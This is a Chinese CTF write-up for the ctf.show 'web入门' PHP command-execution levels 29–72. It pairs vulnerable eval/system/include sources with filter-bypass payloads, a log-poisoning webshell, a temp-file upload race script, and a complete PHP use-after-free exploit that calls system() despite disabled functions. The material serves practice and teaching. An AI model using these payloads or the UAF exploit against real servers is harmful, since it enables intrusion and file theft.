0


ctfhsow web入门 命令执行大全

web-29

源码

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

先了解一下preg_match()函数 :
preg_match函数是进行正则表达式的匹配,这里看源码则是过滤了flag

方法一:

主要思路将flag文件cp到一个txt文件中,然后访问这个txt文件

查看目录

?c=system('ls');

?c=system("cp fla?.php 1.txt");
/1.txt

方法2:

先查看一下php的一些信息

?c=phpinfo();

了解到没有禁用函数

在这里插入图片描述

调用php函数查看目录文件

?c=print_r(scandir("."));

在这里插入图片描述

另一种将flag.php写入到txt文件的方式

?c=system(“cat *php >>2.txt”);

之后访问2.txt

方法3:
我们要执行 cat flag.php,但是flag被过滤了,这时候就可以使用通配符
cat f*表示打开当前目录下所有 f开头的文件

?c=echo system('cat f*');

方法4:

如题目提示一样

c=echo `nl fl''ag.php`;

方法5:(很好用)

使用include结合伪协议和base64方法的方式

?c=echo "?><?php include"$GET_[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php

web-30

源码

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

分析代码,过滤了flag和system

主要方法和29一样,不过,过滤了system,但是命令可以写在``里

方法一:

主要思路将flag文件cp到一个txt文件中,然后访问这个txt文件

查看目录

?c=`ls`;

?c=`cp fla?.php 1.txt`;
/1.txt

方法2:

还是用伪协议加include

web-31

源码

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)) {
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

从代码上看,这题增加了过滤cat和空格

cat的绕过和代替函数

more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以八进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件>  指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)

空格的绕过

%09 符号需要php环境
{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

方法一:根据上面绕过方式构建payload,如

?c=echo(`more%09f*`);   //页面中无法显示,需要点击检查
?c=echo(`less%09f*`);   //页面中无法显示,需要点击检查
?c=echo(`nl%09f*`);     //页面中无法显示,需要点击检查
?c=echo(`tail%09f*`);
?c=echo(`tac%09f*`);

?c=echo(`more\x20f*`);   //页面中无法显示,需要点击检查
?c=echo(`less\x20f*`);   //页面中无法显示,需要点击检查
?c=echo(`nl\x20f*`);     //页面中无法显示,需要点击检查
?c=echo(`tail\x20f*`);
?c=echo(`tac\x20f*`);

还可以根据上面的绕过方法有很多,但是上面有一种引起了我的注意,那就是od,linux下的shell编程,od是以八进制读取文件,构造payload

?c=echo(`od\x20f*`);

但是问题是出现一堆八进制数据,如图

看不懂,网上找了很多八进制解码也没有收获,于是,我决定从源头上看od的命令详细,结果,找到了od的一个命令可以同时查看原文

[b3335@localhost]$ echo lvlv|od -tcx1
0000000  l  v  l  v \n
     6c 76 6c 76 0a
0000005

于是我重新构造payload

?c=echo(`od\x20-tcx1\x20f*`);

显示如下

通过简单的分析,除了开头的0000000外,每16个原文单字符后面就出现编码内容,那只要找到字符flag的所在位置,那么flag也就清楚的知道了

方法二:

我们可以用eval( )来操作, 这个1已经不属于c的内容了,所以不受过滤管控了,

得到空白页面右击看源码才能得到flag

?c=eval($_GET[1]);&1=system('cat flag.php');

详情od的命令,请看linux od命令

方法三:就是上文中很好用的办法

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

然后在将显示的原文base64解码即可

方法四:其他姿势

?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

方法五:题目提示的姿势

show_source(next(array_reverse(scandir(pos(localeconv())))));

web-32

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

没什么好说的,就是新增过滤了,新增的括号过滤就是的上面很多方法用不了,但是php的伪协议还可以使用,因为include不用括号,分号可以用?>代替。

方法一:

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

方法二:

c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

这里需要打开源码,然后cat可以换成很多其他的代替函数,包括od的那种方法

web33-36

这几题和32差不多,唯一需要注意的就是,web36里的get参数得是字符,将1改成a即可

web-37

源码就不看了,过滤了flag ,又是 include 文件包含,利用伪协议

方法一:flag用f*绕过

?c=data://text/plain,<?php echo system('cat fl*');?>
?c=data://text/plain,<?php%20 system('cat fl*');?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==  //base64解码为<?php system('cat flag.php');?>

方法二:增加一个奇怪的姿势

通过右键检查,得知,此网站使用的是nginx,那么想到一个奇怪的点子,通过nginx的日志漏洞,来获取flag

已知nginx的日志存放在/var/log/nginx/access.log和/var/log/nginx/error.log,

通过日志配合UA头部注入漏洞开始操作

构造payload

?c=/var/log/nginx/access.log

可以看到界面中有一些我们的访问记录,内容涉及自己ip就不做展示,通过burp抓包,将其UA头部写入phpinfo()如果可行,那么也可以写一句话木马

forward发送,可以看到返回的界面已经变成了这样

即可以写入一句话木马,这里我们只有flag就好,写个post请求就好

在发送个post请求上去

测试了一下,tac,tail,od可行,cat,nl不可行

web-38

源码

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

多了一个php过滤,其实就是php用不了,用base64编译一下即可

方法一:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

要检查才能看见flag

方法二:多过滤了php,file

使用上一题的方式就行,需要把php换成= 即 <?= 内容 ?>

/?c=data://text/plains,<?= system(" cat f* ");?>
?c=data://text/plains,<?= system("tac f*");?>

方法三:

同上一题的日志和UA漏洞一样

web-39

源码

 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
} 

过滤了flag,限制了.php后缀

方法一:我们可以试试伪协议,因为不能带有flag,所以filter协议和php://input也不好用了。data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
flag使用*绕过

?c=data://text/plain,<?php echo system('cat fl*');?>
?c=data://text/plain,<?php%20 system('cat fl*');?>
/?c=data://text/plains,<?= system(" cat f* ");?>

上面那个UA头漏洞的不好使了

web-40

1.源码

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了很多东西,那么这里想到的就是构造无参数函数进行文件读取,什么是无参数函数。就是函数里不能有任何的参数。注:括号没有被过滤,那是中文的括号

解题过程:

1.print_r(scanndir('.'))

此函数可以查看当前目录所有文件名,但是说到其不能有参数,那么我们如何通过函数来构造这个.呢;

2.localeconv()

localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

3.current()

如何获取数组中的第一个单元呢,即current()返回数组中的单元,默认取第一个值

构造payload

/?c=print_r(scandir(current(localeconv())));

页面出现,成功打印当前目录下文件

除了current(),pos()也可以,pos是curren的别名,还有reset(),该函数返回数组的第一个单元值,如果数组为空,则返回FLASE

4.phpversion()

phpversion返回PHP版本,假设php版本为5.5.9,那么可以

floor(phpversion())返回 5

sqrt(floor(phpversion()))返回2.2360679774998

tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615

cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491

sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46

chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."

也可以构造出.

5.crypt()

hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符

chr(ord())只取第一个字符

ps:ord()返回字符串中第一个字符的Ascii值

那么构造payload

?c=print_r(scandir(chr(ord(hebrevc(crypt(time()))))));  //(多刷新几次)

同理:strrev(crypt(serialize(array())))也可以得到".",只不过crypt(serialize(array()))的点出现在最后一个字符,需要使用strrev()逆序,然后使用chr(ord())获取第一个字符

?c=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

6.getcwd()和realpath('.')

正常的,我们还可以用print_r(scandir('绝对路径'));来查看当前目录文件名

获取绝对路径可用的有getcwd()和realpath('.'),

构造payload和上文差不多,直接写l

/?c=print_r(scandir(getcwd()));
?c=print_r(scandir(realpath(current(localeconv()))));

小结:php的函数很强大,获取.的方法有很多

读取当前目录文件

如果要获取的数组是最后一个我们可以用:

show_source(end(scandir(getcwd())));或者用readfile、highlight_file、file_get_contents 等读文件函数都可以(使用readfile和file_get_contents读文件,显示在源码处),

像我吗的flag.php在倒数第二个,我们可以用,当然readfile、highlight_file、file_get_contents,这些都可以

/?c=show_source(next(array_reverse(scandir(getcwd()))));

如果不是数组的最后一个或者倒数第二个呢?

我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组

所以我们可以用:

show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

web-41

详情见博客吧

web-42

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

>/dev/null 2>&1主要意思是不进行回显的意思,

我们要让命令回显,那么进行命令分隔即可

; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

%0a会别转换成换行

构造payload

cat flag.php;
cat flag.php||
cat flag.php;
cat flag.php%0a

web-43

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

和42一样,不过多了一个cat和分号过滤,可以用nl,more,less,tac,strings,od

payload有很多,这里值列举出一些

?c=more flag.php||
?c=sort flag.php||
?c=less flag.php||
?c=tac flag.php||
?c=tail flag.php||
?c=nl flag.php||
?c=strings flag.php||

web-44

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多了个flag过滤,用*绕过呗

payload有很多

?c=more f*||
?c=sort f*||
?c=less f*||
?c=tac f*||
?c=tail f*||
?c=nl f*||
?c=strings f*||

web45-51

45源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多了过滤空格,且不进行回显

空格绕过

>` `<` `<>` 重定向符
`%09`(需要php环境)
`${IFS}`
`$IFS$9`
`{cat,flag.php}` //用逗号实现了空格功能
`%20`
`%09`

那么我们可以构造很多payload

?c=more%09f*%||
?c=sort${IFS}fl*||
/?c=more${IFS}fl*||

46内容差不多

过滤了数子,$,*等,通配符可以使用?问号,空格可用%09 (不属于数字)

构造payload

?c=sort%09fl?g.php||

47多了写其他过滤

payload: ?c=tac%09fl?g.php||

48同上

payload: ?c=tac%09fl?g.php||

49同上

payload: ?c=tac%09fl?g.php||

50,过滤了%09,那么我们可以用<或者<>代替,但是使用<>这个和?匹配,无法回显,使用使用/代替问号

?c=tac<>fla\g.php||
?c=tac<>fla''g.php||

51,tac被过滤了,换nl,同时%0a是换行,同样可以进行命令分隔

?c=nl<>fla\g.php%0a
?c=nl<>fla\g.php||

web-52

源码

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤都好说,构造payload

?c=nl${IFS}fla\g.php%0a

但是发现下面的界面,发现这是假的

那我们找一下还有什么其他的flag文件吧,根据查找文件命令find / -name "httpd.conf"和题目中的一些过滤,构造payload

?c=find${IFS}/${IFS}-name${IFS}"fla?.php"%0A

返回如下

就奇怪了,只有这里有flag.php,就没有了,我接着想,看看有没有什么别的flag文件,于是接着找

?c=find${IFS}/${IFS}-name${IFS}"fla?"%0A

结果被我找到两个

一个在tmp目录下,一个在根目录下,就两个都看看吧

tmp/flag

?c=nl${IFS}/tmp/fla?||

又是假的,那现在只能寄希望于根目录下的flag了

/flag

?c=nl${IFS}/fla?||

flag拿到

web-53

比较简单,直接给payload

?c=nl${IFS}fla\g.php

web-54

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

增加了很多过滤信息,.*加起来的作用就是匹配除换行符 \n 之外的任何单字符零次或多次。

这里想到了以前的方法,把flag.php复制到其他文件,在对其他文件访问,cp本来不在其过滤范围内,但是有些命令比如tac,这题中过滤成.*t.*a.*c.*,所以阴差阳错的把cp过滤了,但是,我们有其他方式,mv

方法一:mv

构造payload

/?c=mv${IFS}fla?.php${IFS}z.txt

再访问

/z.txt

方法二:grep

.grep 指令(用于查找内容包含指定的范本样式的文件)

/?c=grep${IFS}'{'${IFS}fla?.php
意思是在fla?.php文件中 查找有{符号的一行并显示

web-55

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

方法一:
查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。
匹配到/bin目录下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
发现存在一个base64
我们就可以通过通配符进行匹配命令执行查看flag.php
payload:

?c=/???/????64 ????.???
意思是 /bin/base64 flag.php

方法二:

/usr/bin目录:

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

我们可以利用/usr/bin下的bzip2

意思就是说我们先将flag.php文件进行压缩,然后再将其下载

payload:?c=/???/???/????2 ????.???

//然后再访问
/flag.php.bz2

方法三:

先拜读一下,p神的文章无字母webshell

做简单解释

. file执行文件时,不需要file有执行(x)权限,只要在目标服务器上有我们可控的文件,就能运行shell脚本执行他,那么如何获取到这个文件,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件临时保存起来,在tmp目录下,命名方式为、tmp/phpXXXXXX,XXXXXX是随机生成的大小写字母,tmp目录下出来PHP上传的文件可能包含有大写字母,其他都没,那么我们可以构造正则表达式,

/?c=.+???/????????[@-[]   //前面三个问号代表tmp,后面五个问号表示phpXXXXXX,最后一个[@-[]表示一个大写字母

这时候在本地构造上传文件的脚本

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://a57a3c42-8bab-493a-89fb-98d40bcb70b3.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

通过burp抓包

将文件里的内容写成

注意这里写的是shell脚本,所以不能留有空白,比如ls下面就不能再有换行了,不然shell脚本无法执行,看见了flag.php,接下来cat flag.php就OK了

或者直接运行下面的脚本也可以

import requests

while True:
    url = "http://a57a3c42-8bab-493a-89fb-98d40bcb70b3.challenge.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
    if r.text.find("flag") > 0:
        print(r.text)
        break

web-56

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这里数字都被过滤了,只能用上面的方法三了

web-57

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: [email protected]
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

题目提示flag在36.php中,只要访问到36即可,但是这里过滤了数字

大家先看payload

/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

那么$(())到底是什么:

双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。

具体操作就来看在linux下的运行结果吧

在这里插入图片描述

web-58~65

这里都是post提交注意了,直接给出payload集

c=show_source("flag.php");
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
c=highlight_file("flag.php");
c=print_r(file('flag.php'));
c=var_dump(file('flag.php'));
c=echo file_get_contents("flag.php");
//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
//用法:
copy("flag.php","flag.txt");             //过60
rename("flag.php","flag.txt");           //过60

还有一些查看的payload

c=print_r(scandir('./'));
c=print_r(scandir(dirname('__FILE__')));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
c=print_r(scandir(current(localeconv())));

web-66-67

这两关的flag在根目录下

查看一下根目录文件

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
c=var_dump(scandir("/"));

结果发现是flag.txt不是flag.php

构造payload

//下面是payload web-67过滤了print_r
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');

web-68~70

68禁用highlight_file()

69禁用var_dump()

70禁用的更多

看不到源码

直接给出payload集吧

//查看目录

c=var_dump(scandir("/"));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

//查看flag
c=var_dump('/flag.txt');
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web-71

$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容

方法一:

直接include("/flag.txt"); 会输出一堆问号,那么可以用exit()/die()提前结束

c=include("/flag.txt");die();

方法二:

import requests

url = "http://3d1905b1-7a24-4278-a331-2443a106f69d.challenge.ctf.show/"

d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content
# s = requests.post(url, d).text
print(s)
#
for i in s:
    print(chr(~i&0xff), end='')
# 脚本来自群大佬阿狸

web-72

源码

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
 
?>
 
你要上天吗?

存在open_basedir,利用glob伪协议在筛选目录时不受open_basedir制约

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit()

知道了文件为flag0.txt

open_basedir的作用就是指定目录位置了,意思是将PHP 所能打开的文件限制在指定的目录树,包括文件本身了,并且不受是不是安全模式的影响。

使用通用的uaf脚本绕过

pwn("ls /;cat /flag0.txt");   //这里写的是需要执行的命令
 
function pwn($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }
 
    class Helper {
        public $a, $b, $c, $d;
    }
 
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
 
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf('%c',$ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
 
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf('%c',$v & 0xff);
            $v >>= 8;
        }
    }
 
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
 
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
 
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
 
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
 
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
 
        if(!$data_addr || !$text_size || !$data_size)
            return false;
 
        return [$data_addr, $text_size, $data_size];
    }
 
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
 
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
 
            return $data_addr + $i * 8;
        }
    }
 
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
 
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
 
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
 
    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
 
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
 
    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
 
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
 
    $helper = new Helper;
    $helper->b = function ($x) { };
 
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
 
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
 
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
 
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
 
    $closure_obj = str2ptr($abc, 0x20);
 
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
 
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
 
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
 
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
 
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
 
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
 
    ($helper->b)($cmd);
    exit();

